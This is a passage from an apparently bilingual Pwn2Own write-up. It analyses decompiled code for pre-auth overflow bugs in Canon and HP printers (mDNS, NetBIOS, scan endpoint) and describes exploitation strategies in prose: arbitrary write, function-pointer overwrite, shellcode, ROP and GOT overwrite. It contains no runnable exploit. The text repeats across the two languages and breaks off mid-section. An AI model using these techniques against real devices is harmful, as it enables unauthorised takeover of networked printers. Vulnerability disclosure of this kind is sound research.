int __fastcall returnNegativeRegistrationResponse(nb_info *nbinfo, Adapter *adapter, int a3) { int v6; // r2 netbios_header *response_buf; // r5 int NameWhateverResponse; // r2 unsigned __int8 v10[20]; // [sp+4h] [bp-2Ch] BYREF __int16 v11; // [sp+18h] [bp-18h] BYREF int v12; // [sp+1Ah] [bp-16h] BYREF maybe_memcpy_s(v10, 0x44ED3100, 20); sub_41C47A20((int)"netcifsnqendapp/IMP/nq/ndinname.c", 0x44ED30DC, 2349, 0x64u); if... v11 = 0; sub_40B06FD8(*(_DWORD *)adapter->gap0, &v12); response_buf = *(netbios_header **)nbinfo->adapter->responsebuf; NameWhateverResponse = ndGenerateNameWhateverResponse(response_buf, nbinfo->name, 0x20u, (char *)&v11, 6u); if ( NameWhateverResponse > 0 ) { response_buf->id = nbinfo->id; //------[3] response_buf->flag = __rev16(a3 | 0xA800); if ( sySendToSocket( nbinfo->adapter->fd_1022, (const char *)response_buf, NameWhateverResponse, v10, (unsigned __int16)nbinfo->src_port) <= 0 ) { logg("netcifsnqendapp/IMP/nq/ndinname.c", 0x44ED30DC, 2392, 10); v6 = 2393; } else { v6 = 2396; } goto LABEL_9; } assset("netcifsnqendapp/IMP/nq/ndinname.c", 0x44ED30DC, 2372, 100); return -1; }

In [3], it will overwrite response_buf->id with nbinfo->id.

That is, if we can overwrite the nb_info structure and forge the structure of the Adapter, we can do arbitrary memory writing. We need to find a global buffer to forge the structure. We finally chose BJNP session buffer as our target. It will copy our payload when we start a BJNP session.

After we have arbitrary memory writing. We can overwrite the function pointer of SLP service with BJNP session buffer pointer.

int __fastcall sub_4159CF90(unsigned __int8 *a1, unsigned int a2, int a3, int *a4) { ... result = ((int (__fastcall *)(int *, char *))dword_45C8FF14[2 * v20])(&v38, v47);// SLP function if ( !result ) goto LABEL_46; } return result; }

It does not implement DEP. After overwriting the function pointer, we can use the BJNP session buffer again to put our shellcode. After that, we can use the SLP attribute request to control the PC and run our shellcode.

HP

Our target this time is the HP Color LaserJet Pro M479fdw printer, which is primarily Linux-based. This makes the analysis relatively simpler. Under the Web Service, there are numerous ‘cgi’ files providing various printer operations. These operate via the FastCGI method. You can refer to the nginx config to see which path corresponds to which port and service. The config can be found at rootfs/sirius/rom/httpmgr_nginx.

/Sirius/rom/httpmgr_nginx/ledm.conf

Where is the bug

/usr/bin/local/slanapp is responsible for handling scan-related operations and primarily listens on 127.0.0.1:14030.

We can see from rootfs/sirius/rom/httpmgr_nginx/rest_scan.conf :

If we access /Scan/Jobs, the request is forwarded to a FastCGI listening on the 14030 port. After analysis, we found that it was handled by /rootfs/usr/local/bin/slangapp. When we send a request to /Scan/Jobs, it will call scan_job_http_handler in slangapp.

Where is the bug

There is a stack overflow at rest_scan_handle_get_request in slangapp.

int __fastcall scan_job_http_handler(int a1) { ... int request_method; // [sp+14h] [bp-2Ch] char *host; // [sp+18h] [bp-28h] BYREF int port; // [sp+20h] [bp-20h] BYREF char *uri; // [sp+28h] [bp-18h] BYREF int pathinfo; // [sp+30h] [bp-10h] BYREF int urilen[2]; // [sp+38h] [bp-8h] BYREF int pathinfo_len; // [sp+40h] [bp+0h] BYREF char s[132]; // [sp+44h] [bp+4h] BYREF char dest[260]; // [sp+C8h] [bp+88h] BYREF host = 0; memset(s, 0, 0x81u); port = -1; uri = 0; pathinfo = 0; urilen[0] = 0; pathinfo_len = 0; memset(byte_5DBD0, 0, 0x9C4u); v2 = ((int (__fastcall *)(struct httpmgr_fptrtbl **, int))(*rest_scan_req_ifc_tbl)->acceptRequestHelper)( rest_scan_req_ifc_tbl, a1); if... if ( ((int (__fastcall *)(struct httpmgr_fptrtbl **, int, char **, int *, int *, int *, _DWORD, _DWORD))(*rest_scan_req_ifc_tbl)->getURI)( rest_scan_req_ifc_tbl, a1, &uri, urilen, &pathinfo, &pathinfo_len, 0, 0) < 0 ) _DEBUG_syslog((int)"REST_SCAN_DEBUG", 0, 1193517589, 0, 0); if... v17 = 1; if... LABEL_7: request_method = ((int (__fastcall *)(struct httpmgr_fptrtbl **, int))(*rest_scan_req_ifc_tbl)->getVerb)( rest_scan_req_ifc_tbl, a1); if... v3 = ((int (__fastcall *)(struct httpmgr_fptrtbl **, int))(*rest_scan_req_ifc_tbl)->getContentLength)( rest_scan_req_ifc_tbl, a1); v4 = v3; if ( (unsigned int)(v3 - 1) <= 0x9C2 ) { v14 = v3; v15 = 0; do { if ( v14 >= 2500 ) v14 = 2500; v16 = ((int (__fastcall *)(struct httpmgr_fptrtbl **, int, char *, int))(*rest_scan_req_ifc_tbl)->httpmgr_recvData)( rest_scan_req_ifc_tbl, v2, &byte_5DBD0[v15], v14); if ( v16 <= 0 ) break; v15 += v16; v14 = v4 - v15; } while ( v4 - v15 > 0 ); *((_BYTE *)&dword_5DBC8 + v4 + 8) = 0; if ( v15 < 0 ) { v17 = 1; _DEBUG_syslog((int)"REST_SCAN_DEBUG", 0, 0x475DA215, v15, a1); } } else if ( v3 > 0x9C3 ) { v5 = 0; do { while ( 2500 - v5 > 0 ) { v6 = ((int (__fastcall *)(struct httpmgr_fptrtbl **))(*rest_scan_req_ifc_tbl)->httpmgr_recvData)(rest_scan_req_ifc_tbl); if ( v6 <= 0 ) break; v5 += v6; } v7 = v5 <= 0; v5 = 0; } while ( !v7 ); } v8 = ((int (__fastcall *)(struct httpmgr_fptrtbl **, int, char **, int *))(*rest_scan_req_ifc_tbl)->getHost)( rest_scan_req_ifc_tbl, a1, &host, &port); if... v9 = ((int (__fastcall *)(struct httpmgr_fptrtbl **, int))(*rest_scan_req_ifc_tbl)->completeRequestHelper)( rest_scan_req_ifc_tbl, a1); if ( v9 > 0 ) { do { v10 = 0; do { while ( 2500 - v10 > 0 ) { v11 = ((int (__fastcall *)(struct httpmgr_fptrtbl **))(*rest_scan_req_ifc_tbl)->httpmgr_recvData)(rest_scan_req_ifc_tbl); if ( v11 <= 0 ) break; v10 += v11; } v7 = v10 <= 0; v10 = 0; } while ( !v7 ); v12 = ((int (__fastcall *)(struct httpmgr_fptrtbl **, int))(*rest_scan_req_ifc_tbl)->completeRequestHelper)( rest_scan_req_ifc_tbl, a1); } while ( v12 > 0 ); v9 = v12; } ... result = (*(int (__fastcall **)(int))(*(_DWORD *)dword_65260 + 20))(dword_65260); dword_594F0 = result; switch ( request_method ) { case 1: result = rest_scan_handle_get_request(a1, v4, uri, (unsigned __int8 *)pathinfo, pathinfo_len); // ----- [1] break; ... default: return result; } return result;

If the request method is GET, it will use rest_scan_handle_get_request at [1] to handle it. It also passes the pathinfo to this function.

int __fastcall rest_scan_handle_get_request(int a1, int a2, char *s1, unsigned __int8 *pathinfo, int pathinfo_len) { struct httpmgr_fptrtbl **v8; // r0 int v9; // r1 int v10; // r2 struct httpmgr_fptrtbl **v11; // r0 int v12; // r1 int result; // r0 int v14; // r0 int next_char; // r4 unsigned __int8 *v16; // r3 int v17; // r1 int v18; // t1 char *v19; // r5 int v20; // r5 int v21; // r0 int v22; // r7 size_t v23; // r8 int v24; // r0 char first_path_info[32]; // [sp+8h] [bp-D8h] BYREF char second_path_info[32]; // [sp+28h] [bp-B8h] BYREF char pagenumber[152]; // [sp+48h] [bp-98h] BYREF if... if... if ( !strncmp(s1, "/Scan/UserReadyToScan", 0x15u) ) { ... } else { v14 = strncmp(s1, "/Scan/Jobs", 0xAu); if ( v14 ) { ... } ... next_char = *pathinfo; if ( (next_char & 0xDF) == 0 ) { first_path_info[0] = 0; LABEL_37: _DEBUG_syslog("REST_SCAN_DEBUG", 0, 0x411FA215, 400, 0); v8 = rest_scan_req_ifc_tbl; v9 = a1; v10 = 400; goto LABEL_6; } v16 = pathinfo; v17 = 0; do //------------------------------------------------------ [2] { if ( next_char != '/' ) first_path_info[32 * v17 + v14] = next_char; v19 = &first_path_info[32 * v17]; if ( next_char == '/' ) { v20 = 32 * v17++; pagenumber[v20 - 64 + v14] = 0; v19 = &first_path_info[v20 + 32]; v14 = 0; } else { ++v14; } v18 = *++v16; next_char = v18; } while ( (v18 & 0xDF) != 0 ); v19[v14] = 0; if ( v17 != 2 || strcmp(second_path_info, "Pages") || dword_5DBC8 != strtol(first_path_info, 0, 10) ) goto LABEL_37; v24 = strtol(pagenumber, 0, 10); result = rest_scan_send_scan_data(a1, v24) + 1; if ( result ) rest_scan_vp_thread_created = 1; else return rest_scan_send_err_reply(a1, 400); } return result; }

But when it parse the pathinfo at [2], it does not check the length of pathinfo. Then copy the pathinfo to the local buffer(first_path_info[32]), which leads to a stack overflow.

Exploitation

We can construct the request to /Scan/Jobs/ to trigger it. It does not have Stack Guard, so we can overwrite the return address directly. But it has DEP, we need to do ROP to achieve our goal. Finally, we use ROP to overwrite the GOT of strncmp. After overwriting it, we can execute arbitrary commands when we access /Copy/{cmd}

However, in the end, this vulnerability collided with another team’s discovery.

Summary

Based on the results from Pwn2Own Austin 2021 to Pwn2Own Toronto 2022, printer security remains an easily overlooked issue. In just one year, the number of teams capable of compromising printers has significantly increased. Even in the third year, at Pwn2Own Toronto 2023, many teams still found vulnerabilities. It is recommended for everyone using these IoT devices to turn off unnecessary services, set up firewalls properly, and ensure appropriate access controls to reduce the risk of attacks.

English Version, 中文版本

Hacking Printers at Pwn2Own Toronto 2022

延續之前的研究，去年我們也在 Canon 的其他型號中，找到了 Pre-auth RCE 漏洞 (CVE-2023-0853、CVE-2023-0854)，同時 HP 的印表機也有找到 Pre-auth RCE 的漏洞，然而最終與其他隊伍撞洞。我們將在本文講述我們在 Pwn2own Toronto 中所使用的 Canon 及 HP 漏洞的細節，以及我們的利用方式。

• Pwn2Own Toronto 2022 Target

Target Price Master of Pwn Points HP Collor LaserJet Pro M479fdw $20000 2 Lexmark MC3224i $20000 2 Canon imageCLASS MF743Cdw $20000 2 Analysis Canon Firmware Extract

與 2021 年相同，可參考前述部分，本次版本為 v11.04 。

HP

Firmware 本身可以從 HP 的 Firmware 網站 中取得，但與 2021 年不同，並無法直接用 binwalk 解出，這邊的 Firmware 是透過 AES 加密的，從現有的資訊中不太好直接解開。

而這邊起初想法是找相同系列的 Fimware 看看是否有未加密版本，然而 HP 官方的 Firmware 中，並沒有符合條件的 Firmware，原本打算拆印表機想辦法 Dump firmware，但我們後來在 Google 的過程中，找到了舊版的 mirror 站，而該網站有開 index of，我們可以從中獲得所有在 mirror 網站中的 Firmware。

但這邊問題是該 Mirror 網站只有 mirror 到 2016 並沒有最新版本的資訊，不過後來可以從網站資訊中，獲得官方的目錄結構，從而取得相同系列的但沒有加密的 Firmware。

在分析過後，我們從 Firmware 中找到 fwupd 中有解密相關資訊，透過逆向可以知道加密方法及 Key，進而解出目標版本的 Firmware。

HP Collor LaserJet Pro M479fdw

• OS - Linux Base
• ARMv7 32bit little-endian

Vulnerability & Exploitation Canon mDNS (CVE-2023-0853)

mDNS 協定主要提供了區網中的域名解析功能，並且不需要有 Name Server 的介入，常用於 Apple 及 IoT 設備中。

而在 Canon 中，預設情況下，也提供了相同的功能，方便使用者尋找區網中的印表機。

該協定主要以 DNS 為基礎，基本上 mDNS 也大多建立在 DNS 封包格式 (RFC1035) 上，格式如下：

The packet format:

+---------------------+ | Header | +---------------------+ | Question | the question for the name server +---------------------+ | Answer | RRs answering the question +---------------------+ | Authority | RRs pointing toward an authority +---------------------+ | Additional | RRs holding additional information +---------------------+ (diagram from https://www.ietf.org/rfc/rfc1035.txt)

The header contains the following fields:

1 1 1 1 1 1 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | ID | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ |QR| Opcode |AA|TC|RD|RA| Z | RCODE | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | QDCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | ANCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | NSCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | ARCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ (diagram from https://www.ietf.org/rfc/rfc1035.txt)

主要可以拆分為 Header 及 body 部分，主要的請求都放在 body 中，後面三個欄位為同樣的格式。 Answer 欄位主要紀錄針對 Question 的 Resource records (RRs)，

Resource record format:

1 1 1 1 1 1 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | | / / / NAME / | | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | TYPE | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | CLASS | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | TTL | | | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | RDLENGTH | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--| / RDATA / / / +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ (diagram from https://www.ietf.org/rfc/rfc1035.txt)

RDATA 部分會根據 type 不同而有所不同，而當 type=NSEC 其格式如下

The RDATA of the NSEC RR is as shown below: 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ / Next Domain Name / +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ / Type Bit Maps / +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ (diagram from https://www.ietf.org/rfc/rfc4034.txt)

其餘部分在這個漏洞中不太重要，不另外多做詳細解釋，更多細節可以參考 RFC6762 、 RFC1035 以及 RFC4034

漏洞位置 當 Canon ImageCLASS MF743Cdw 在處理 Answer 欄位(type=NSEC)時，並沒有檢查長度導致 stack overflow 。

bnMdnsParseAnswers function 是主要負責處理封包中 answer 欄位

int __fastcall bnMdnsParseAnswers( netbios_header *mdns_packet, unsigned int *ppayloadlen, netbios_header *pmdns_header, _WORD *anwser_rr, rrlist **payload, _DWORD *pinfo) { ... char nsec_buf[256]; // ------ fixed size on the stack ... _mdns_packet = (int)mdns_packet; p_payloadlen = ppayloadlen; p_mdns_header = pmdns_header; anwser_cnt = anwser_rr; v66 = 0; cur_ptr = &mdns_packet->payload[*pinfo]; v9 = *payload; v10 = *payload; do { v11 = v10 == 0; if ( v10 ) { v9 = v10; v10 = (rrlist *)v10->c; } else { v6 = aBnmdnsparseans; v10 = 0; v67 = 0; } } while ( !v11 ); while ( (unsigned __int16)*anwser_cnt > v67 ) { ... if... type = (unsigned __int16)pname->type; if ( type == 28 ) goto LABEL_36; if... if... if ( type != 0x21 ) { if ( type != 47 ) // NSEC { ... goto LABEL_95; } v62 = 0; v63 = 0; zeromemory(nsec_buf, 256, v19, v20); v47 = bnMdnsMalloc(8); rrlist->pname->nsec = v47; if ( !v47 ) { bnMdnsFreeRRLIST((int)rrlist); v50 = 2720; LABEL_76: debugprintff( 3610, 3, "[bnjr] [%s] <%s:%d> bnMdnsParseAnswers error in malloc(NSEC)\n", "IMP/mdns/common/tcBnMdnsMsg.c", v6, v50); return 3; } maybe_realloc(v47, 8); nsec = rrlist->pname->nsec; nsec_len = bnMdnsGetDecodedRRNameLen(cur_ptr, *ppayloadlen, (char *)_mdns_packet, &dwbyte); if... if... v51 = (_BYTE *)bnMdnsMalloc(nsec_len); *(_DWORD *)nsec = v51; if... consume_label(cur_ptr, *ppayloadlen, _mdns_packet, v51, nsec_len); v52 = dwbyte; v53 = &cur_ptr[dwbyte]; v54 = *ppayloadlen - dwbyte; *ppayloadlen = v54; v55 = (unsigned __int8)v53[1]; v56 = (unsigned __int8)*v53; nsec_ = v53 + 2; *ppayloadlen = v54 - 2; v57 = v56 | (v55 << 8); nsec_len_ = __rev16(v57); if... memcpy((int)nsec_buf, nsec_, nsec_len_, v57); //-------- [1] stack overflow for ( i = 0; i < (int)nsec_len_; ++i ) { if ( nsec_buf[i] ) { for ( j = 0; j < 8; ++j ) { if ( 1 << j == (unsigned __int8)nsec_buf[i] ) { if ( v62 ) v63 = 7 - j + 8 * i; else v62 = 7 - j + 8 * i; } } } } *(_WORD *)(nsec + 4) = v62; ... } *pinfo = &cur_ptr[-_mdns_packet - 0xC]; *anwser_cnt -= v66; return 0; } }

當他在處理 NSEC(47) 的 Record 時，並沒有檢查長度就直接複製 data 到 local buffer(nsec_buf[256]) ，如上述程式碼的 [1]，導致 stack overflow

Exploitation

這裡利用方法與 Pwn2Own 2021 Austin 時相同，這邊就不在多做敘述。

NetBIOS (CVE-2023-0854)

在 NetBIOS 中主要提供下列三種不同的服務:

• Name service (NetBIOS-NS) : Port 137/TCP and 137/UDP
• Datagram distribution service (NetBIOS-DGM) : Port 138/UDP
• Session service (NetBIOS-SSN) : Port 139/TCP

這邊我們將會把重點放在 NetBIOS-NS 中，NetBIOS-NS 也會提供區網中域名解析的服務，常見於 Windows 作業系統中，而該封包格式也是基於 DNS 的封包。其詳細內容定義於 RFC1002 中

The packet format:

1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | NAME_TRN_ID | OPCODE | NM_FLAGS | RCODE | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | QDCOUNT | ANCOUNT | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | NSCOUNT | ARCOUNT | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ (diagram from https://datatracker.ietf.org/doc/html/rfc1002)

而 Query 則會被放在 header 之後

1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + ------ ------- + | HEADER | + ------ ------- + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | / QUESTION ENTRIES / | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | / ANSWER RESOURCE RECORDS / | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | / AUTHORITY RESOURCE RECORDS / | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | / ADDITIONAL RESOURCE RECORDS / | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ (diagram from https://datatracker.ietf.org/doc/html/rfc1002)

其中我們只須關注於 Question Entries 欄位

Question Section:

1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | / QUESTION_NAME / / / | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | QUESTION_TYPE | QUESTION_CLASS | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Question Name 都是由許多 label 組成，每個 label 都如同前述 LLMNR 所述，都是長度加上字串的組合。其餘欄位則不另外多加敘述，詳細內容可參考 RFC1002。

漏洞位置 當 Canon ImageCLASS MF743Cdw 在處理 NetBIOS 封包的 Question 欄位時，沒有正確檢查長度導致 Heap Overflow 。

其漏洞位置在 cmNetBiosParseName 中，我們可透過 ndNameProcessExternalMessage 觸發。

我們這邊就稍微來分析一下漏洞成因:

當 Canon 中的 NetBIOS 服務啟動時，會先去初始化 netbios_ns_buffer ，並分配 0xff 大小空間給該 buffer。

int ndNameInit() { sub_41C47A20((int)"netcifsnqendapp/IMP/nq/ndnampro.c", 0x44ED3194, 97, 0x64u); netbios_ns_buffer = calloc(1, 0xFF); ... return -1; }

當接收到來自 137/UDP 的 NetBIOS 封包時，就會透過 ndNameProcessExternalMessage 來處理封包

int __fastcall ndNameProcessExternalMessage(Adapter *a1) { netbios_header *packet; // r0 unsigned __int8 *v3; // r6 int flag; // r0 int v5; // r5 int v6; // r0 int v8; // r4 char nbname[40]; // [sp+8h] [bp-28h] BYREF sub_41C47A20((int)"netcifsnqendapp/IMP/nq/ndnampro.c", 0x44ED31AC, 178, 0x64u); packet = (netbios_header *)a1->packet; LOWORD(a1->vvv) = LOBYTE(packet->id) | (HIBYTE(packet->id) << 8); v3 = cmNetBiosParseName(packet, (unsigned __int8 *)packet->payload, (int)nbname, netbios_ns_buffer, 0xFFu); //---- [1] //heap overflow at netbios_ns_buffer if... flag = getname_query_flag((netbios_header *)a1->packet); v5 = flag; if ( flag == 0xA800 ) { v6 = ndInternalNamePositiveRegistration(a1, (int)nbname, (int)v3); goto LABEL_17; } if ( flag > 0xA800 ) { switch ( flag ) { case 0xA801: v6 = ndInternalNameNegativeRegistration(a1, (int)nbname); goto LABEL_17; ... } goto LABEL_14; } ... ndInternalNameNegativeQuery((int)a1, (int)nbname); v6 = ndExternalNameNegativeQuery((int)a1, nbname); LABEL_17: v8 = v6; assset("netcifsnqendapp/IMP/nq/ndnampro.c", 0x44ED31AC, 238, 100); return v8; }

在上述程式碼[1] 中，該 cmNetBiosParseName 函式，會去處理 Question 欄位中的名稱，也提供了 buffer 大小給該函式，然而該函式並沒有正確檢查長度，導致複製過多的資料到 netbios_ns_buff 導致 heap overflow

我們來看一下 cmNetBiosParseName 函式

unsigned __int8 *__fastcall cmNetBiosParseName( netbios_header *netbios_packet, unsigned __int8 *netbios_label, int netbios_name, _BYTE *domain_name, unsigned int maxlen) { char v5; // r9 unsigned __int8 *v11; // r0 _BYTE *v12; // r1 unsigned int i; // r0 char v15; // r3 char v16; // r2 int v17; // r0 unsigned __int8 *v18; // r0 unsigned int v19; // r3 char *label_; // r0 unsigned int labellen_; // r4 unsigned int labellen; // t1 char *v23; // r5 unsigned __int8 *next[9]; // [sp+4h] [bp-24h] BYREF ... if ( *v11 == 0x20 ) { ... v17 = *next[0]; if ( *next[0] ) v5 = '.'; else *domain_name = 0; if ( v17 ) { do { v18 = resolveLabel(netbios_packet, next); labellen = *v18; label_ = (char *)(v18 + 1); labellen_ = labellen; if ( maxlen > labellen ) { memcpy((int)domain_name, label_, labellen_, v19); v23 = &domain_name[labellen_]; maxlan -= labellen_; // ---------- [2] // it does not subtract the length of "." *v23 = v5; domain_name = v23 + 1; } } while ( *next[0] ); *(domain_name - 1) = 0; } assset("netcifsnqecorelib/IMP/nq/cmnbname.c", 0x44A86D7C, 634, 100); return next[0] + 1; } else { logg("netcifsnqecorelib/IMP/nq/cmnbname.c", 0x44A86D7C, 595, 10); return 0; } }

從這個函式中，可以看出他在處理 domain name 時，有按照所提供的參數來檢查長度，並且會在每個 label 間加入 .，然而在 [2] 的部分並沒有去檢查 . 這個字元的長度，實際上的長度可以比原本的 buffer 還要長，導致 buffer overflow。

Exploitation

原本以為會需要更詳細去逆向 Heap internal，不過幸運的是，後來發現到 buffer 後面有好用的結構可以利用。

在 netbios_ns_buffer 後，存在一個結構，這邊先命名為 nb_info

The layout of heap memory:

The structure of nb_info :

struct nb_info { int active; char nbname[16]; int x; int y; short z; short src_port; short tid; short w; Adapter *adapter; char *ptr; int state; ... }

該結構主要用來儲存 NetBIOS 的名稱資訊，而其中也包含另外一個結構，這裡命名為 Adapter，主要儲存該 NetBIOS 的連線資訊。

The structure of Adapter :

struct Adapter { int idx; _BYTE gap0[16]; int x; int fd_1022; int fd_1023; int y; _WORD src_port; _DWORD src_ip; int vvv; int packet; _DWORD recv_bytes; char* response_buf; _DWORD dword3C; };

在初步了解這些結構之後，我們可以先回頭看一下 ndNameProcessExternalMessage，如果將封包中的 flag 欄位設成 0xA801，將會使用 ndInternalNameNegativeRegistration 去處理 NetBIOS name. 該結果將會寫入Adapter->responsebuf.

case 0xA801: v6 = ndInternalNameNegativeRegistration(a1, (int)nbname); goto LABEL_17;

在 ndInternalNameNegativeRegistration 中:

int __fastcall ndInternalNameNegativeRegistration(Adapter *adapter, int a2) { ... if ( v8 ) { returnNegativeRegistrationResponse((nb_info *)v6, adapter, 3); } ... }

只要滿足條件就會去 returnNegativeRegistrationResponse 處理 Response，而在 returnNegativeRegistrationResponse 中:

int __fastcall returnNegativeRegistrationResponse(nb_info *nbinfo, Adapter *adapter, int a3) { int v6; // r2 netbios_header *response_buf; // r5 int NameWhateverResponse; // r2 unsigned __int8 v10[20]; // [sp+4h] [bp-2Ch] BYREF __int16 v11; // [sp+18h] [bp-18h] BYREF int v12; // [sp+1Ah] [bp-16h] BYREF maybe_memcpy_s(v10, 0x44ED3100, 20); sub_41C47A20((int)"netcifsnqendapp/IMP/nq/ndinname.c", 0x44ED30DC, 2349, 0x64u); if... v11 = 0; sub_40B06FD8(*(_DWORD *)adapter->gap0, &v12); response_buf = *(netbios_header **)nbinfo->adapter->responsebuf; NameWhateverResponse = ndGenerateNameWhateverResponse(response_buf, nbinfo->name, 0x20u, (char *)&v11, 6u); if ( NameWhateverResponse > 0 ) { response_buf->id = nbinfo->id; //------[3] response_buf->flag = __rev16(a3 | 0xA800); if ( sySendToSocket( nbinfo->adapter->fd_1022, (const char *)response_buf, NameWhateverResponse, v10, (unsigned __int16)nbinfo->src_port) <= 0 ) { logg("netcifsnqendapp/IMP/nq/ndinname.c", 0x44ED30DC, 2392, 10); v6 = 2393; } else { v6 = 2396; } goto LABEL_9; } assset("netcifsnqendapp/IMP/nq/ndinname.c", 0x44ED30DC, 2372, 100); return -1; }

可以看到 [3] 會把 response_buf->id 寫成 nbinfo->id。

也就是說，如果我們可以覆蓋掉 nb_info 結構，並且構造 Adapter 我們就會有一個任意記憶體寫入，而實際上構造方式很簡單，只要找個 Global Buffer 去構造就可以了，我們這邊選擇了 BJNP Session Buffer 去構造我們結構。

而在我們有任意寫入之後，我們可以覆蓋 SLP 的函數指針來達成 RCE，後續利用就與前述相同，這邊就不另外多做介紹了。

HP

這次目標是 HP Collor LaserJet Pro M479fdw 這台印表機，其主要是 Linux Base 的，分析起來相對單純很多，而其中 Web Service 底下有許多的 cgi 來提供各種不同的印表機操作，這些都是透過 FastCGI 方式來運作，可參考 nginx config 來看每個 path 分別對應到哪個 Port 及哪個 Service

/Sirius/rom/httpmgr_nginx/ledm.conf

/usr/bin/local/slanapp 負責處理 scan 相關的操作，主要 listen 在 127.0.0.1:14030

當我們存取 /Scan/Jobs 路徑時，就會透過這個 cgi 來處理

漏洞位置

當 HP 處理 /Scan/Jobs 底下的 get 請求時，會使用 rest_scan_handle_get_request 來處理，同時也會將 pathinfo 一起傳入

int __fastcall rest_scan_handle_get_request(int a1, int a2, char *s1, unsigned __int8 *pathinfo, int pathinfo_len) { struct httpmgr_fptrtbl **v8; // r0 int v9; // r1 int v10; // r2 struct httpmgr_fptrtbl **v11; // r0 int v12; // r1 int result; // r0 int v14; // r0 int next_char; // r4 unsigned __int8 *v16; // r3 int v17; // r1 int v18; // t1 char *v19; // r5 int v20; // r5 int v21; // r0 int v22; // r7 size_t v23; // r8 int v24; // r0 char first_path_info[32]; // [sp+8h] [bp-D8h] BYREF char second_path_info[32]; // [sp+28h] [bp-B8h] BYREF char pagenumber[152]; // [sp+48h] [bp-98h] BYREF if... if... if ( !strncmp(s1, "/Scan/UserReadyToScan", 0x15u) ) { ... } else { v14 = strncmp(s1, "/Scan/Jobs", 0xAu); if ( v14 ) { ... } ... next_char = *pathinfo; if ( (next_char & 0xDF) == 0 ) { first_path_info[0] = 0; LABEL_37: _DEBUG_syslog("REST_SCAN_DEBUG", 0, 0x411FA215, 400, 0); v8 = rest_scan_req_ifc_tbl; v9 = a1; v10 = 400; goto LABEL_6; } v16 = pathinfo; v17 = 0; do //------------------------------------------------------ [2] { if ( next_char != '/' ) first_path_info[32 * v17 + v14] = next_char; v19 = &first_path_info[32 * v17]; if ( next_char == '/' ) { v20 = 32 * v17++; pagenumber[v20 - 64 + v14] = 0; v19 = &first_path_info[v20 + 32]; v14 = 0; } else { ++v14; } v18 = *++v16; next_char = v18; } while ( (v18 & 0xDF) != 0 ); v19[v14] = 0; if ( v17 != 2 || strcmp(second_path_info, "Pages") || dword_5DBC8 != strtol(first_path_info, 0, 10) ) goto LABEL_37; v24 = strtol(pagenumber, 0, 10); result = rest_scan_send_scan_data(a1, v24) + 1; if ( result ) rest_scan_vp_thread_created = 1; else return rest_scan_send_err_reply(a1, 400); } return result; }

但當在 [2] 處理 pathinfo 時，並沒有檢查長度，並且直接複製到 local buffer(first_path_info[32]) 中，導致 stack overflow。

Exploitation

